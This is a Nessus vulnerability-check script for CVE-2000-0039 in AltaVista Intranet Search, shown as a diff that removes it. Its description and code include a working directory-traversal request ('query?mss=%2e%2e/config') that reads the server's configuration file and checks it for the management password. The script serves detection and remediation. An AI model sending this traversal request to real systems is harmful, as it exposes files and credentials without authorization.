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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10015);
- script_bugtraq_id(896);
- script_version ("$Revision: 1.24 $");
- script_cve_id("CVE-2000-0039");
- name["english"] = "AltaVista Intranet Search";
- name["francais"] = "AltaVista Intranet Search";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It is possible to read the content of any files on the remote
- host (such as your configuration files or other sensitive data)
- by using the Altavista Intranet Search service, and performing
- the request:
-
- GET /cgi-bin/query?mss=%2e%2e/config
-
- Bugtraq ID : 896
-
- Solution :
- - edit <install-dir>/httpd/config file and change MGMT_IPSPEC from
- '0.0.0.0/0' to a specific IP such as '127.0.0.1/32'
- - stop page gathering via the management interface
- - restart Altavista Search Service (to re-read config file)
- - restart page gathering if necessary
- - change the username/password through the management interface to bogus
- information
- - exploit server and download ../logs/mgtstate (puts file in cache)
- http://localhost:9000/cgi-bin/query?mss=../logs/mgtstate
- - change the username/password through the management interface to something
- different (but not used anywhere else)
- - avoid restarting the Altavista service or clearing the cache
-
- Risk factor : High";
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Checks if query?mss=... reads arbitrary files";
- summary["francais"] = "DĪtermine si query?mss=... lit des fichiers arbitraires";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
-
- foreach dir (cgi_dirs())
- {
- item = string(dir, "/query?mss=%2e%2e/config");
- req = http_get(item:item, port:port);
- result = http_keepalive_send_recv(port:port, data:req);
- if( result == NULL ) exit(0);
- if("MGMT_PW" >< result){
- security_hole(port);
- exit(0);
- }
- }
-
-
-